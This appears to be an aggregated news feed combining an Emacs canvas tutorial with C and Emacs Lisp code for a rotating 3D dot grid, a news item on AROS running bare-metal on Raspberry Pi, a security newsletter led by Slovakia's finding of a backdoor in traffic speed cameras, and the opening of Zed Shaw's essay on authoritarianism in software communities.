    An Introduction to Canvas in GNU Emacs

    Lobsters
    monadicsheep.org
    2026-08-23 10:45:32
    Comments...
    Original Article

    This demo is borrowed from Alexey Kutepov, aka tsoding . They built a graphics library called olive.c . The following demo is Dots3D example from olive.c. Since this is a dynamic module, all the pixel manipulation math would be happening in C and on the Emacs Lisp side we will take care of creating and displaying the canvas and just calling the dynamic module function in a timer to update the canvas. While the original demo didn’t have any mouse interactivity, we can include it in ours quite easily.

    After doing the mandatory int plugin_is_GPL_compatible we define some constants in the dynamic module:

    #define WIDTH 960
    #define HEIGHT 720
    #define BACKGROUND_COLOR 0xFF181818
    #define GRID_COUNT 10
    #define GRID_PAD (0.5f/GRID_COUNT)
    #define GRID_SIZE ((GRID_COUNT - 1)*GRID_PAD)
    #define CIRCLE_RADIUS 5
    #define Z_START 0.25f
    

    We’ve just inherited them from the original demo’s code. Now we need one helper to draw the actual circles/points in this grid/space. We can just convert into C the code we wrote earlier for drawing circles:

    void draw_circle(uint32_t *pixels, int cx, int cy, int r, uint32_t color) {
      int r2 = r * r;
      for (int y = -r; y <= r; ++y) {
        for (int x = -r; x <= r; ++x) {
          if (x*x + y*y <= r2) {
            int px = cx + x; int py = cy + y;
            if (px >= 0 && px < WIDTH && py >= 0 && py < HEIGHT)
              pixels[py * WIDTH + px] = color;
          }
        }
      }
    }
    

    Now we need to write the actual module function that will be called from Emacs. Firstly, what should this function’s signature be? Since it’s a module function, it has to be like this:

    static emacs_value render(emacs_env* env, ptrdiff_t nargs, emacs_value args[], void* data)
    

    But what should be its arguments when called? Well, firstly it needs the canvas where it will render to. It will also need as arguments the angles from which to render the whole grid, because the grid must be rotating, so the angles will be changing continuously. So let’s get those arguments, and get access to the canvas’ pixel buffer as well:

    static emacs_value render(emacs_env* env, ptrdiff_t nargs, emacs_value args[], void* data) {
        emacs_value canvas = args[0];
        float angle_x = env->extract_float(env, args[1]);
        float angle_y = env->extract_float(env, args[2]);
    
        uint32_t* pixels = env->canvas_data(env, canvas);
        if (!pixels) return Qnil;
    }
    

    Now the background must be painted, for which we’ll just loop through all the pixels and set them to BACKGROUND_COLOR . We’ll also get some float valuees for the upcoming math. We clearly need some camera math to make it move as well, and since we are in 3D we’ll need a 3-level nested for loop. So here’s what the final function looks like:

    static emacs_value render(emacs_env* env, ptrdiff_t nargs, emacs_value args[], void* data) {
        emacs_value canvas = args[0];
        float angle_x = env->extract_float(env, args[1]);
        float angle_y = env->extract_float(env, args[2]);
    
        uint32_t* pixels = env->canvas_data(env, canvas);
        if (!pixels) return Qnil;
    
        for(int i = 0; i < WIDTH * HEIGHT; ++i) pixels[i] = BACKGROUND_COLOR;
    
        float cos_x = cosf(angle_x), sin_x = sinf(angle_x);
        float cos_y = cosf(angle_y), sin_y = sinf(angle_y);
    
        float camera_distance = 0.8f;      float focal_length = 800.0f;   
        for (int ix = 0; ix < GRID_COUNT; ++ix) {
            for (int iy = 0; iy < GRID_COUNT; ++iy) {
                for (int iz = 0; iz < GRID_COUNT; ++iz) {
                    float x = ix*GRID_PAD - GRID_SIZE/2.0f;
                    float y = iy*GRID_PAD - GRID_SIZE/2.0f;
                    float z = Z_START + iz*GRID_PAD;
    
                    float px = x;
                    float py = y;
                    float pz = z - (Z_START + GRID_SIZE/2.0f);
    
                                    float x1 = px * cos_y + pz * sin_y;
                    float z1 = -px * sin_y + pz * cos_y;
                    float y1 = py;
    
                                    float y2 = y1 * cos_x - z1 * sin_x;
                    float z2 = y1 * sin_x + z1 * cos_x;
                    float x2 = x1;
    
                                    float z_cam = z2 + camera_distance;
    
                                    float screen_x = (x2 / z_cam) * focal_length + WIDTH / 2.0f;
                    float screen_y = (y2 / z_cam) * focal_length + HEIGHT / 2.0f;
    
                    uint32_t r = ix*255/GRID_COUNT;
                    uint32_t g = iy*255/GRID_COUNT;
                    uint32_t b = iz*255/GRID_COUNT;
                    uint32_t color = 0xFF000000 | (r << 16) | (g << 8) | b;
    
                    draw_circle(pixels, (int)screen_x, (int)screen_y, CIRCLE_RADIUS, color);
                }
            }
        }
    
        return Qnil;
    }
    

    After this we can just initialize the module:

    int emacs_module_init(struct emacs_runtime *rt) {
        if ((size_t)rt->size < sizeof (*rt)) return 1;
        emacs_env* env = rt->get_environment(rt);
        if ((size_t)env->size < sizeof (*env)) return 2;
        Qnil = env->make_global_ref(env, env->intern(env, "nil"));
    
        env->funcall(env, env->intern(env, "defalias"), 2,
                     (emacs_value[]){
                         env->intern(env, "dots3d-render"),
                         env->make_function(env, 3, 3, render, "Render dots3d", 0)
                     });
        return 0;
    }
    

    This now needs to be compiled into a shared object, do not forget to add emacs-module.h wherever gcc looks for includes:

    gcc -O2 -I%ssrc dots3d.c -o /tmp/dots3d.so -fPIC -shared -lm
    

    Now we can use this from Emacs Lisp, some preliminary stuff:

    (module-load "/tmp/dots3d.so")
    (declare-function dots3d-render "ext:dots3d.c")
    
    (switch-to-buffer (get-buffer-create "*dots3d*"))
    
    (defvar dots3d-canvas)
    (defvar dots3d-frame 0)
    (defvar dots3d-time 0.0)
    (defvar dots3d-last-time 0.0)
    
    (defvar dots3d-angle-x 0.0)
    (defvar dots3d-angle-y 0.0)
    (defvar dots3d-auto-rotate t)
    
    (setq dots3d-time (float-time))
    (setq dots3d-last-time (float-time))
    

    We setup the main canvas:

    (setq dots3d-canvas '(image :type canvas
                                :data-width 960
                                :data-height 720
                                :margin (20 . 20)
                                :scale 1
                                :id dots3d))
    

    We need to disable the mode-line and cursor:

    (setq-local cursor-type nil
                mode-line-position nil
                mode-line-modified nil
                mode-line-mule-info nil
                mode-line-remote nil)
    

    And we display the canvas:

    (insert (propertize "#" 'display dots3d-canvas))
    

    Now the main function that takes care of interacting with the space. We basically use track-mouse to update the canvas by calling the render function with new angles, every time we drag on the canvas. To be noted, we need to stop the auto-rotate while we are dragging.

    (defun dots3d-start-drag (event)
      (interactive "e")
      (setq dots3d-auto-rotate nil)
      (let* ((start-pos (posn-object-x-y (event-start event)))
             (last-x (car start-pos))
             (last-y (cdr start-pos)))
        (when (and last-x last-y)
          (track-mouse
            (let (evt pos mx my)
              (while (progn
                       (setq evt (read-event))
                       (mouse-movement-p evt))
                (setq pos (posn-object-x-y (event-start evt)))
                (when (and (car pos) (cdr pos))
                  (setq mx (car pos) my (cdr pos))
                  (setq dots3d-angle-y (+ dots3d-angle-y (* (- mx last-x) 0.01)))
                  (setq dots3d-angle-x (+ dots3d-angle-x (* (- my last-y) 0.01)))
                  (setq last-x mx last-y my)
                  (dots3d-render dots3d-canvas dots3d-angle-x dots3d-angle-y)
                  (canvas-refresh dots3d-canvas))))))
        (setq dots3d-auto-rotate t)))
    (local-set-key [down-mouse-1] 'dots3d-start-drag)
    

    And the final render function in Emacs Lisp can be extremely simple, you just call the render function with slightly adjusted angles and we call it in a timer so that it keeps rotating:

    (defun dots3d-update ()
        (let* ((time (float-time))
               (dt (- time dots3d-last-time)))
          (switch-to-buffer (get-buffer-create "*dots3d*"))
          (setq dots3d-last-time time)
          (when dots3d-auto-rotate
            (setq dots3d-angle-y (+ dots3d-angle-y (* dt 0.5))))
          (dots3d-render dots3d-canvas dots3d-angle-x dots3d-angle-y)
          (canvas-refresh dots3d-canvas)))
    (run-with-timer nil (/ 1 60.0) 'dots3d-update)
    

    And after evaluation, you should see as below and be able to move the grid by dragging it:

    Amiga-Inspired AROS Goes Bare Metal on Raspberry Pi

    Hacker News
    hackaday.com
    2026-08-23 10:39:35
    Comments...
    Original Article

    Skip to content

    There’s no actual data, but if we had to guess the least-favourite Disney movie of former Amiga owners would have to be Frozen, because none of them will ever be able to “Let it Go”. The Amiga-derived AROS Research Operating System has just been ported to boot bare-metal on the Raspberry Pi, in both 32-bit and 64-bit versions. Yes, there’s a 64-bit Amiga-compatible OS that runs on ARM. It truly is a time of wonders.

    AROS has already been ported to a number of platforms. Besides x86, there’s a PPC port that provided a lot of code to the MorphOS, which you can read about here , and a back-port that brings AROS back to original Amiga 68k hardware. There is even a build for RISC V.

    AROS developers are making sure that Amiga legacy isn’t stuck on any given hardware, so they never have to let it go. So while not totally out of left field, this development is “pretty nifty” both in that it gives another ultralight operating system for the Pi, with boot times to rival RiscOS, and another platform for ex-Amiga users to play with that isn’t 40 years old. Previously if you wanted to run AROS on a Pi it was virtualized in Linux, making it similar to all other Amiga emulators.

    While some software has been recompiled for ARM, the available software isn’t as full-featured as x86, but that’s almost certain to change as time goes on. It’s early days yet and this build is very much a work in progress. Likewise we expect support for other Pi boards to expand, as while right now the target is the Pi3, the forum threads include discussion of the Pi4 and even Zero2W.

    You can check the port out in action in a video by [Dan Wood] embedded below, sent to us by tipster [Stephen Walters]. Thanks [Stephen]!

    We have featured AROS once before , thought it’s been a while.

    Slovakia finds Russian backdoor in traffic speed cameras

    Hacker News
    risky.biz
    2026-08-23 10:38:25
    Comments...
    Original Article

    Risky Bulletin Newsletter

    August 19, 2026

    Written by

    Catalin Cimpanu

    Catalin Cimpanu

    News Editor

    This newsletter is brought to you by Socket Security . You can subscribe to an audio version of this newsletter as a podcast by searching for "Risky Business" in your podcatcher or subscribing via this RSS feed . You can also add the Risky Business newsletter as a Preferred Source to your Google search results by going here .

    🗨️

    The intro was updated post-publication to fix the link to the technical report and to add more context from a local source.

    Slovakia's national security service NBU has issued a security alert against the use of NERO R-ONE high-speed traffic cameras.

    The agency says the cameras contain a backdoor mechanism that grants shell and network access to the devices via an SMS message received from a list of hardcoded Russian phone numbers.

    The NBU started an investigation into the devices after the country's opposition accused the government of buying the cameras from Russia and after multiple reports in Slovak media that linked the purchase to a Cyprus shell company with fake certifications.

    According to the NBU, the cameras are a rebranded version of a Russian traffic camera model named CORDON PRO.M , produced by St. Petersburg-based Russian firm Semicon.

    via NBU
    via NBU

    The cameras were bought as part of a €30 million EU-funded project to rebuild the country's national traffic monitoring system.

    The Interior Ministry has allegedly bought and preparing to install 279 cameras on selected roads across Slovakia.

    The Ministry initially denied that the cameras were of Russian origin and said there's no danger of data theft since the devices were going to be on a closed loop Ministry network.

    According to an NBU technical report , besides the backdoor system, the cameras also contain several security flaws. They have a crucial SecureBoot security feature that's turned off so the firmware origin is never enforced, the web management portal contains multiple vulnerabilities, and the cameras expose live streams to anyone without a password and who knows their broadcasting IP.

    Interior Ministry officials paused the camera deployment after the NBU report and said it would order an additional assessment from an independent auditor to confirm the findings.

    Some similar devices are also allegedly installed in Croatia and maybe some other countries in Eastern Europe.

    Source

    Nobody should be buying security cameras from Russia, or China for that matter https://t.co/ZiuuZ3ODjQ

    — ChrisO_wiki (@ChrisO_wiki) August 18, 2026

    Risky Business Podcasts

    In this episode of Risky Business Features , James Wilson chats with PortSwigger’s Director of Research James Kettle about using an LLM to develop genuinely new attack techniques.


    Breaches, hacks, and security incidents

    Scammers target UK prime minister: A scammer targeted UK Prime Minister Andy Burnham by posing as White House chief of staff Susie Wiles. Burnham detected the scam himself and the UK embassy notified the White House. Multiple US senators, governors, and executives were also targeted by scammers posing as Wiles last year. The White House blamed the incident on a hacker obtaining a copy of her cellphone contacts. [ Politico Europe ]

    Hackers target Ukraine's ARMA agency: A cyberattack has disrupted the activities of Ukraine's agency for managing seized Russian assets. The attack took place this week as the agency was preparing to assign a new manager for beverage company IDS Ukraine. Ukraine seized IDS from Alfa-Bank co-founder Mikhail Fridman shortly after Russia's invasion. The agency didn't attribute the attack. [ RBC // ARMA ]

    Hack hits Berlin government: A cyberattack has disrupted two major departments in the Berlin city government. The attack took down emails, remote gateways, and internet connections across the transport and urban development departments. IT staff have disconnected the two agencies from the city network to prevent the incident from spreading. [ Tagesspiegel // RBB24 // Yahoo Finance! ]

    Breach at genetics testing company: Genetics-testing company Baylor Genetics is notifying users of a security breach that exposed their personal information. The breach took place in June and both patient and employee data was compromised. The company didn't disclose the number of affected individuals. [ Baylor Genetics // CybersecurityDive ]

    UT San Antonio breach: The University of Texas at San Antonio has taken its IT systems offline after a security breach over the weekend. Classes for the new school year are expected to start on Wednesday as scheduled. The university has extended tuition payment deadlines and plans to reset all user account passwords once systems are online. [ UT San Antonio // The Record ]

    Ransomware disables hospital doors, HAVC: A ransomware attack has disabled access doors, heating, ventilation, and air conditioning at Winnipeg's largest hospital. The Winnipeg Health Sciences Centre increased onsite security while the access card system is still down. The hospital says patient care and clinical operations are not impacted. [ CBC // The Winnipeg Free Press ] [ h/t Alex Rudolph ]

    BlueSky and GitHub hit by Iranian DDoS attacks: An Iranian hacktivist group took down BlueSky and GitHub with DDoS attacks on Sunday and Monday, respectively. The attacks caused prolonged outages at both companies. A group known as the 313 Team took credit for the attacks. The hackers were also behind another wave of DDoS attack in April. [ Telegram // Telegram ]

    We apologize for yesterday’s service problems. Bluesky experienced a DDoS attack—a flood of junk traffic meant to knock servers offline—over a period of 24 hours. We have upgraded our defenses in response, and we continue to monitor the situation. Follow @status.bsky.app for any updates.

    — Bluesky ( @bsky.app ) August 18, 2026 at 12:27 AM

    SafePal breach: Hackers have stolen the personal information of 40,000 customers of hardware crypto-wallet provider SafePal. The incident impacted all customers who placed orders of SafePal wallets between March 2, 2025, and April 11, 2026. SafePal says no seed phrases or private keys are impacted. The stolen data is still dangerous because it could enable wrench attacks on wallet holders. [ SafePal // SecurityWeek ]

    Bits of Gold breach: Hackers have stolen the data of 250,000 customers of Bits of Gold, Israel's largest cryptocurrency exchange. The company notified customers of the hack over the weekend. It said the data was stolen from an external analytics service provider. It didn't say what type of data was stolen. [ CTech ]

    TheHatman dumps employee data for a dozen companies: A threat actor is selling the employee data of almost a dozen Fortune 500 companies. The hacker, who goes by TheHatman, claims the data was stolen by using stolen credentials to access each victim's Azure environments. The hacker claims they breached McDonalds, Vodafone, Gap, and the Intercontinental and Wyndham hotel chains. [ HudsonRock ]

    AI, general tech, and privacy

    Windows 11 drops WMIC: The current Windows 11 installation packages and Insider Builds do not ship with the Windows Management Instrumentation Command-line (WMIC) feature anymore. Microsoft deprecated the toolkit a few years ago after it saw massive abuse. [ Microsoft // WindowsLatest ]

    Firefox 154: Mozilla has released Firefox 154. New features and security fixes are included. The biggest feature in this release is support for GeForce NOW, NVIDIA's cloud gaming platform. [ Firefox ]

    Firefox for iOS gets an ad blocker: Mozilla has added an ad blocker to Firefox on iOS. It is turned off by default. [ Mozilla ]

    Government, politics, and policy

    Russian things: A Russian court has forced two Telegram channel owners to remove posts blaming the country's internet watchdog for causing an outage of the country's banking system as part of an attempt to block VPN protocols. This is funny to me because they didn't fine Natalya Kaspersky, one of the Kaspersky co-founders, for basically saying the same thing in an official manner and to more mainstream Russian news outlets. Alas, Russia, a two-tiered society! [ Caution News on Telegram ]

    In this Risky Business sponsor interview , Casey Ellis chats with Socket founder Feross Aboukhadijeh about npm 12’s move to disable install scripts by default.

    Arrests, cybercrime, and threat intel

    French cops used public exploit to hack EncroChat: French law enforcement used a public exploit hosted on GitHub to hack encrypted phone network EncroChat in 2020. The exploit was for the Bad Binder Android vulnerability and had been shared online a few months before. EncroChat discovered the hacks after French cops deployed a second exploit that failed. [ ComputerWeekly // Bad Binder exploit on GitHub // Bad Binder write-up ]

    Source

    SMS blaster arrested in Malaysia: Malaysian authorities have arrested a 65-year-old suspect for driving around with an SMS blaster in his car. The suspect was detained driving around the border crossing between Johor Bahru and Singapore. He is the second suspect arrested this month in Johor Bahru for SMS blasting. [ CommsRisk ]

    LockerGoga dev on trial in Switzerland: Swiss prosecutors are seeking a 12-year prison sentence for a Ukrainian man linked to ransomware attacks on local companies. Officials claim the suspect was a coder for the LockerGoga, MegaCortex and Nefilim ransomware groups. The suspect is pleading not guilty. He claims he was working as a consultant for a cybersecurity firm when he was detained and the ransomware source code found on his devices. [ Watson // The Record ]

    Ransomware affiliate poses as data recovery firm: A ransomware affiliate is posing as a data recovery firm named Ransom Busters LTD. According to GuidePoint Security, the group has reached out to multiple companies and offered to delete their data from ransomware servers for a fee between $20,000 and $60,000. The group has reached out to victims even before breaches were made public. GuidePoint believes the group has signed up as an affiliate on different Ransomware-as-a-Service platforms to see hacked companies and reach out in advance. [ GuidePoint Security ]

    Operation CameraSwarm: A threat actor has hacked more than 14,500 Dahua security cameras across Ukraine and Russia. Researchers at Hunt Intelligence discovered the botnet after the hacker left an open directory on their server infrastructure. According to files recovered from the server, the hacker exploited old vulnerabilities but also a secret hardcoded account in some of the devices. [ Hunt Intelligence ]

    StopAndProtect profile: Security firm Check Point has published a profile on StopAndProtect, a new e-crime operation using thousands of hacked WordPress sites to redirect users to malware downloads and then store stolen creds. [ Check Point ]

    FUXA scanning: Threat actors are scanning for FUXA SCADA devices in an attempt to exploit CVE-2026-25895, an unauthenticated path traversal that can let hackers rewrite local files. [ Caitlin Condon on LinkedIn ]

    StubMaker RubyGems campaign: The OSM team has spotted 16 malicious RubyGems packages typosquatting more popular packages that spread a Windows infostealer to whoever installs them. [ OpenSourceMalware ]

    Malware technical reports

    DragonDoll Android spyware: Russian security firm Positive Technologies has discovered a new Android spyware strain. Named DragonDoll, the spyware is spread using fake Chrome update packages and focuses on stealing data from instant messengers. [ Positive Technologies // Archived ]

    GoldDigger Android trojan: IBM's Trusteer team has published a technical analysis of GoldDigger, an Android banking trojan active since 2023. [ IBM ]

    C2Looper backdoor: In July 2026, researchers identified C2Looper, a new malware family likely used in ransomware attacks to establish a foothold for lateral movement. [ Zscaler ]

    TWINLOOT: Ontinue researchers have discovered TWINLOOT, a Python-coded malware framework that hosts its entire command-and-control infrastructure inside trusted Microsoft services such as Azure, M365, and SharePoint. [ Ontinue ]

    MacSync Stealer: Microsoft has released a technical report on MacSync Stealer, a recent infostealer targeting the macOS ecosystem. [ Microsoft ]

    WordlistLoader: Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns. [ Gen Digital ]

    Shadow HVNC and Shadow Loader: Security researchers have reverse-engineered Shadow HVNC and Shadow Loader, two malware families advertised online by a developer known as RemoteX. [ Malbear Labs ]

    ValleyRAT: Despite some arrests this year, the SilverFox group is still active and spreading its ValleyRAT malware. [ Forcepoint ]

    AZALEA RAT: And speaking of RATs, Point Wild looks at the distribution chains of the AZALEA RAT, a new RAT advertised online as AzaleaControl. [ Point Wild ]

    Medusa ransomware: CISA has updated its advisory on the Medusa ransomware with new TTPs. The agency says the group has continued to be active and made hundreds of new victims. [ CISA ]

    Mirage2FA: ANY.RUN's security team looks at a new 2FA-intercepting phishing service named Mirage2FA. The service seems to be geared towards M365 campaigns primarily. [ ANY.RUN ]

    In this Soap Box edition of the Risky Business podcast Patrick Gray chats with Socket founder Feross Aboukhadijeh about how to measure the reachability of vulnerabilities in applications. It's great to know there's a CVE in a library you're using, but it's even better if you can say whether or not that vulnerability actually impacts your application.

    APTs, cyber-espionage, and info-ops

    France investigates Russian disinfo ops: French authorities have launched an investigation into suspected Russian disinformation campaigns targeting the country's pro-EU politicians. The campaigns targeted possible presidential candidates Gabriel Attal and Edouard Philippe as soon as they showed interest in next year's election. Open-source reporting has linked the campaigns to a Russian disinformation group known as Matryoshka and Storm-1516. [ FranceInfo ]

    Operation QUICSILVER: A China threat actor has been targeting Myanmar diplomats via an VHD-delivered Go backdoor named QUICAgent. [ Seqrite ]

    Goffee replaces image files: The Goffee cyber-espionage group has maintained a foothold inside hacked organizations by altering installation images for corporate apps. In a campaign targeting Russian companies, the group has modified 7-Zip and Git installers. [ F6 ]

    Core Werewolf's CoreRAT: A highly sophisticated APT group named Core Werewolf has continued its operations targeting Russian orgs with a new remote access trojan named CoreRAT. [ BI.ZONE ]

    Russia and US hold hands in Alberta info-ops: The US and Russia appear to have joined hands in promoting the Alberta separatist movement in Canada. [ The Globe and Mail ]

    "The first data from a study that began last month indicate Russian content farms have been pushing pro-separatist content into online communities and using Canadians to “launder” those messages by sharing such material on their social media feeds, the researchers said. The U.S. activity, on the other hand, is more overt, with prominent American influencers, podcasts and websites openly promoting Alberta separation, said Brian McQuinn, co-director of the Centre for Artificial Intelligence, Data, and Conflict at the University of Regina."

    CopyCop (Storm-1516) in Armenia: Russian disinfo group CopyCop ran a disinformation campaign trying to sabotage the construction of a shared US-Armenian AI data center in Hrazdan. [ Recorded Future ]

    PurpleDelta: Recorded Future has identified 22 new personas operated by PurpleDelta, the name the company assigns to North Korea's remote IT worker scheme. Also this week, Bridewell published a guide on how to defend against these groups. [ Recorded Future // Bridewell ]

    Iranian phishing ops target Israeli journalists: Iranian state hackers have intensified spear-phishing attacks targeting Israeli journalists. The country's intelligence and cybersecurity agencies have sent out a security alert about the attacks last week. The agencies say hackers are seeking to obtain private information from journalists reporting on political and national security. [ Ynet ]

    US charges more Mabna hackers: The US has unsealed a superseding indictment against 17 Iranian hackers. The suspects are employees of the Mabna Institute, a cyber contractor for Iran's Islamic Revolutionary Guard Corps. The Justice Department claims Mabna hackers breached universities across the world to steal research and transfer to Iranian counterparts. The superseding charges replace a 2018 indictment that expands the number of suspects from nine to 17. The State Department has also offered a $10 million reward for information that may lead to the arrest of any of the suspects. The Mabna Institute hacking campaigns are tracked by security firms under the codename of Cobalt Dickens. [ DOJ 2026 // DOJ 2018 // Rewards for Justice // Sophos ]

    Vulnerabilities, security research, and bug bounty

    Security updates: Apple , Dell , Edge , Firefox , GitLab , Oracle , Tenable , Tor Browser .

    AI agent introduces bug in Snowflake's production: Security firm Wiz has spotted an AI coding agent autofixing a bug but introducing a vulnerability in cloud provider Snowflake's production systems. [ Wiz ]

    Microsoft delays Exchange updates due to influx of AI bugs: Microsoft has delayed a major update for Exchange Subscription Edition servers due to an influx of AI-discovered vulnerabilities. The update was supposed to go live at the end of June. Microsoft says it did not want to release its biannual feature update only to release multiple batches of security fixes right after. The company plans to wait to fix all security bugs before releasing the Exchange SE H1 Cumulative Update. Microsoft says employees discovered the security flaws as part of an internal push to use AI tools for bug discovery. [ Microsoft ]

    KEV update: CISA has updated its KEV database with four vulnerabilities that are currently exploited in the wild. All are 2026 bugs, such as a recent Apple macOS ScreenShare bug, a Microsoft IKE one, a SharePoint one, and a VMware vCenter path traversal.

    Infosec industry

    Acquisition news: Tech giant Fortinet has acquired AI security startup Virtue AI, which specializes in AI runtime protection, automated AI validation, and security for autonomous AI systems. [ Fortinet ]

    Threat/trend reports: Beazley Security , Black Kite , Bridewell , Cyberproof , Ecosyste.ms , JPMorgan , MinterEllison , and Onyxia have recently published reports and summaries covering various emerging threats and industry trends.

    Risky Business podcasts

    In this edition of Between Two Nerds , Tom Uren and The Grugq discuss The Offense Death Cycle paper looking at how to take advantage of a defender's ability to control a network to discover intruders.

    Authoritarianism of Code

    Hacker News
    zedshaw.com
    2026-08-23 10:36:38
    Comments...
    Original Article
    By Zed A. Shaw

    It's my belief that authoritarianism is so ingrained in the fabric of software development that it has been internalized to such a degree that even the most anti-authoritarian people cannot avoid being authoritarian. This essay is an attempt to outline a framework for evaluating software development practices, organizations, and communities on the basis of authoritarian and totalitarian policies and behaviors.

    My goal in writing this series of essays on authoritarianism is to give people in the software development world--and specifically in open source--the information they need to make a fully enthusiastic, informed, consensual decision to continue to be a part of an authoritarian system. What I want is for people who are currently involved in a project to avoid wasting their life working for leaders and a community that ultimately will simply exploit them as all authoritarian organizations do.

    In short, I believe there is no such thing as a Benevolent Dictator for Life, and that by learning why that's true you can better decide to for yourself how you want to spend your free time.

    Caveat Emptor

    Programmers have a propensity to use the Fallacy of False Equivalence to discredit or promote nearly anything. If you create a fantastic system for people to communicate, the people who hate it will says, "That's just Twitter." No matter how different your system is from Twitter, they will use False Equivalence to discredit your work by abstracting the definition of "Twitter" to be "Any system where people talk". However, if this Twitter hater invents a new chat protocol that they want to promote they will declare it a completely new invention of pure genius that is nothing like anything before. This random false equivalence allows programmers to use abstraction to redefine nearly anything they want to mean anything else they want.

    To prevent this fallacy of false equivalence I'm going to narrow the discussion to communities that do not gain Informed Consent for their authoritarianism. In fact, another essay will make the case that a defining criteria of authoritarianism is removing people's right to informed consent, so if a project is honest about being authoritarian, then they are most likely not authoritarian, even though the community may be .

    This means that if you're reading this, and then you attempt to apply the false equivalence trick to make it seem like everything is authoritarian, then you're wrong. Or, maybe you're right, but I'm narrowing this discussion to specific communities and projects that are:

    1. Attracting people to join without enthusiastic informed consent.
    2. Utilizing this disparity in information to create, support, or promote authoritarian goals.

    For example, if you want to say that all corporations are authoritarian, then while that may be true in an abstract sense, it wouldn't be true for this discussion because people who join corporations definitely know that they're authoritarian. Same would be true for an educational institution. People join universities and know that it is an authoritarian system by its nature. They're clearly informed before joining, and enthusiastically pay to be there. This changes however if the organization doesn't inform people of things that would have changed their consent.

    I will also separate analysis of authoritarian leaders from authoritarian communities . By separating the community from the leaders we can start to make a more distinct and accurate analysis of authoritarianism. We can have situations where the people in charge may be doing everything right, but the community is rampantly authoritarian. We could have the inverse where the leaders are completely authoritarian but the community is not behaving in any authoritarian way. It is frequently both, but there are a few instances where there's a separation. Once we understand where the authoritarianism is coming from then we can start to make plans to change the situation, or simply leave now that we are more fully informed.

    Not Fascism

    You'll notice that I deliberately use the word "authoritarianism" rather than "fascism" in this discussion. From a programmer's viewpoint I see fascism as a subclass of authoritarianism, and I want to discuss authoritarianism in a more universal sense. I also avoid the word fascism because it tends to allow authoritarians to dodge the substance of accusations against them with claims of conspiracy theory. The tactic is to wait for someone to scream "Nazi!" or "Fascist!" and then to say they are not a Nazi because they are not even remotely as bad as Hitler. They never killed anyone "you crazy conspiracy theorist!"

    Accusations of mental instability are a favorite of fascist regimes, so if you see that you know immediately that person is definitely a fascist. But, not being as bad at Hitler is easily the lowest bar possible for ethical behavior of a leader. If someone's only defense for their authoritarian behavior is that they didn't slaughter millions of people then that's no defense at all. It's entirely possible for someone to use propaganda, coercion and manipulation to convince a large population of people to follow their authority without murdering anyone. To avoid those in power using the False Fascist Defense I'm going to boldly claim the following:

    You're only a fascist if you killed people. Everyone else I'm discussing is an authoritarian.

    A Concise Definition

    With that covered I can now devise a straightforward definition of authoritarianism:

    Any deference to authority given or taken without the enthusiastic informed consent of everyone involved.

    Notice this definition doesn't focus completely on authoritarian leaders. It also covers authoritarian communities with the "given or taken" part of the definition. It also doesn't rely on any specific behaviors such as propaganda, any patterns of authoritarianism from the past, any political ideals, or any requirements of death or genocide. It simply says that if someone gives or takes deference to authority, and they receive this authority without enthusiastic informed consent, then that's authoritarianism.

    Let's break down each part of this definition:

    Deference to Authority

    The existence of authority doesn't really create an authoritarian system of governance. What does create authoritarianism is not questioning authority, or more specifically giving deference to authority. Deference is easily defined as "humble submission and respect", and manifests itself in various ways:

    1. Believing whatever someone in a position of authority says even in the face of clear evidence that it is false.
    2. Allowing someone in a position of authority to break the rules while everyone in the community is expected to follow them.
    3. Praising or forgiving the bad behavior of people in authority while simultaneously ridiculing anyone else doing the exact same bad behavior.
    4. Accepting any totalitarian punishment leaders give out even if that punishment is easily viewed as extreme or abusive.
    5. Attacking anyone who questions those in a position of authority.
    6. Relying on and trusting those in authority to provide safety and security.

    Given or Taken

    I want it to be clear that authoritarianism hides in leadership, but is easily observed in communities. Authoritarian leaders are desperate to keep their secrets a secret because if everyone found out what they really do then everyone would have informed consent and would most likely leave. We usually only find out about their bad behavior after their organization has completely died and those benefiting have come forward to tell the truth. Where you can very easily see authoritarianism is within communities and their behavior. That's why I add to this definition the "given or taken" portion. It separates the two halves of any authoritarian system into the behavior of the leaders and the community.

    Deference to authority "given" is where the community demonstrates deference to authority, even if you can't readily see any leaders actively "taking" authority. In fact, you may have leaders who are not actively taking authority, but are opportunistically allowing it to be given to them by the community. You may have a community that is just blindly authoritarian while the leaders don't actually act in any authoritarian way at all. At the same time, you may see people in positions of authority actively taking or demanding deference from the community through abuse of critics, secret dealings, secret enforcers, and reworking of the rules to favor their positions of power.

    Doing this eliminates the influence that authoritarians have by ignoring their propaganda and lies to focus on how their community behaves. It's authoritarian duck-typing, where we say, if the community quacks like an authoritarian duck, then the organization is authoritarian.

    Enthusiastic Informed Consent is the idea that people have a right to know everything before they give consent to authority, and that they can only give consent enthusiastically, or explicitly if you prefer. That means that consent cannot be taken, coerced, or acquired through lies and propaganda. This also means that authority is only given through consent, and that if the consent is removed then those in positions of authority have to step down. A clear sign of authoritarian leadership is they don't step down when it's demanded by the community.

    Enthusiastic informed consent is the standard we hold people to so as to reduce the chance that someone is exploited. If someone is fully informed of all of the secret rules, secret community enforcers, all past and future possible totalitarian punishments, and has an ability to vote on leaders and governance, then we can say they were informed and enthusiastic about it. However, if they never get to vote on leaders, never know of secret deals, don't know how leaders fill their pockets, and have no say on governance, then they were never given the information required for informed consent.

    The other purpose of enthusiastic informed consent is so abusive communities can't hide behind secret totalitarian policies. If everyone in the community actively voted for an abusive rule, voted for the person who enforces the rule, voted for every totalitarian application of the rule, then that community can't subsequently claim to be hapless victims of the leadership.

    Everyone Involved

    The concept of "everyone" changes easily depending on the will of the leadership:

    • When leaders want knew members "everyone" means the entire world.
    • When leaders want the community to do work for them "everyone" means the leaders and all of the community members.
    • When leaders want to keep power "everyone" becomes only their inner circle of approved members.
    • When leaders want to avoid the blame for abuses by the community, "everyone" becomes only the community and not the core members.

    I define "everyone" to mean all people in the community, leadership, and anyone they are attempting to attract to their project. This obvious definition of "everyone" prevents those in positions of leadership--and the community that gives them deference--from utilizing this rhetorical trick to avoid blame. Everyone should include the people they are targeting with their marketing because that's who needs to be given all the information they need to give enthusiastic informed consent. By defining "everyone" as only the leader's inner circle (aka the "core group") they narrow the requirement for consent down to the people who are already in on all of the secret workings, which means they aren't actually giving information to people who need it.

    Deference to Authority Example

